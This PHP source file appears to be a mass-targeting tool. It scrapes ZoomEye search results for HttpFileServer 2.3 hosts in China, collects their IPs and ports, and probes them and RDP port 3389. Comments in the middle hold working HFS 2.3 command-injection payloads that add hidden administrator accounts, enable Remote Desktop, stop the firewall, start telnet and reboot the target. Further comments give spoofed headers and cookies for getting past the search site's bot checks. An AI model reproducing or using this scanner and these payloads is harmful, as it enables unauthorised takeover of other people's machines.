<?php

class getip {

    static $ip = [];
    public $snoopy;
    public $deseachkey;
    public $cookies='';
    static $reip = [];
    static $repo = [];

    public function init($snoopy) {
        $snoopy->rawheaders["Cookie"] = "$this->cookies";
        //$seachkey = 'app:"HttpFileServer httpd" ver:"2.3" country:china';
        $seachkey = 'app:"HttpFileServer httpd" ver:"2.3" country:china';
        $deseachkey = rawurlencode($seachkey);
        $snoopy->rawheaders["User-Agent"] = "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0";
        $this->snoopy = $snoopy;
        $this->deseachkey = $deseachkey;
        return $this;
    }

    public function catchip($p) {

        $this->snoopy->fetch("http://www.zoomeye.org/search?q=$this->deseachkey" . '&p=' . $p . '&t=host');
        if ($this->snoopy->status != 200) {
            $this->snoopy->status . '注入COOKIES失败<br/>';
            $cook = $this->snoopy->headers;
            var_dump($cook);
        } else {
            //echo '您已成功注入COOKIES<br />';

            $url = $this->snoopy->results;

            preg_match_all("/href=\"\/search\?q=ip:(.*)\">/i", $url, $reip);
            preg_match_all("/href=\"\/search\?q=port:(.*)\&t=host/i", $url, $repo);

            foreach ($reip[1] as $key => $value) {

                self::$ip[] = $value . ':' . $repo[1][$key];
                self::$reip[] = $value;
                self::$repo[] = $repo[1][$key];
            }
        }
    }

//?search==%00{.exec|cmd.exe /c net user admin Ma123456 /add.}
//?search==%00{.exec|cmd.exe /c net localgroup administrators admin /add.}
//    /?search==%00{.exec|cmd.exe /c net user root$ toor /add.}
///?search==%00{.exec|cmd.exe /c net localgroup administrators root$ /add.}
///?search==%00{.exec|cmd.exe /c REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f.}
///?search==%00{.exec|cmd.exe /c net stop sharedaccess.}
///?search==%00{.exec|cmd.exe /c sc config tlntsvr start= auto.}
///?search==%00{.exec|cmd.exe /c net start telnet.}
///?search==%00{.exec|cmd.exe /c shutdown -r -t 3.}
    
    public function scan($ip, $port) {
        $error_no = $error_str = "";
        //        $ip="127.0.0.1";
        if (@fsockopen($ip, $port, $error_no, $error_str, 1)) {
            if(@fsockopen($ip, 3389, $error_no, $error_str, 1)){
            echo "$ip:$port and 3389 opened! <p>";}
            
        } else {
            echo "$ip:$port closed!<p>";
        }
    }
}

//登陆论坛   
//$submit_url = "http://www.phpchina.com/bbs/logging.php?action=login";   
//$submit_vars["loginmode"] = "normal";   
//$submit_vars["styleid"] = "1";   
//$submit_vars["cookietime"] = "315360000";   
//$submit_vars["loginfield"] = "username";   
//$submit_vars["username"] = "***"; //你的用户名   
//$submit_vars["password"] = "*****"; //你的密码   
//$submit_vars["questionid"] = "0";   
////$submit_vars["answer"] = "";   
////$submit_vars["loginsubmit"] = "提 交";   
//$snoopy->submit($submit_url,$submit_vars);  
//HTTP/1.1 200 OK
//$snoopy->cookies["PHPSESSID"] = 'fc106b1918bd522cc863f36890e6fff7'; //伪装sessionid
//http://www.zoomeye.org/search?q=app:%22HttpFileServer%20httpd%22%20ver:%222.3%22%20country:china&p=4&t=host
//$seachkey = 'app:%22HttpFileServer%20httpd%22%20ver:%222.3%22%20country:china';
//$snoopy->agent = "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0"; //伪装浏览器
//$snoopy->referer="http://www.zoomeye.org/search?q=app:%22HttpFileServer%20httpd%22%20ver:%222.3%22%20country:china";
//$a="http://www.zoomeye.org/search?q=.$seachkey.";
//$snoopy->referer = $a; //伪装来源页地址 http_referer
//$snoopy->rawheaders["X-Cache"] = "pass"; //cache 的http头信息
//$snoopy->rawheaders["Connection"] = "keep-alive"; //伪装ip
//$snoopy->rawheaders["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; //伪装ip
//$snoopy->rawheaders["Accept-Language"] = "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3"; //伪装ip
////$snoopy->rawheaders["Accept-Encoding"] = "gzip, deflate"; //伪装ip
//$snoopy->rawheaders["X-Frame-Options"] = "SAMEORIGIN"; //伪装ip
//$snoopy->rawheaders["Referer"] ="http://www.zoomeye.org/search?q=app:%22HttpFileServer%20httpd%22%20ver:%222.3%22%20country:china";
//$snoopy->rawheaders["Host"] = "www.zoomeye.org";
//$snoopy->rawheaders["Cache-Control"] = "max-age=0";
//$snoopy->rawheaders["Cookie"] ='__jsluid=2be9a51dd9bef4ca9d1987fd3ca414a6;';
//Host: www.zoomeye.org
//User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
//Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
//Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
//Accept-Encoding: gzip, deflate
//Referer: http://www.zoomeye.org/search?q=app:%22HttpFileServer%20httpd%22%20ver:%222.3%22%20country:china
//Cookie: __jsluid=63b51e28927a998282d45343a1873e40; Hm_lvt_e58da53564b1ec3fb2539178e6db042e=1434599963; Hm_lpvt_e58da53564b1ec3fb2539178e6db042e=1434607360; __jsl_clearance=1434607244.069|0|OEt8aP1Nw5uc3ftJErZ0VdPcHN0%3D
//Connection: keep-alive
//Cache-Control: max-age=0
// * 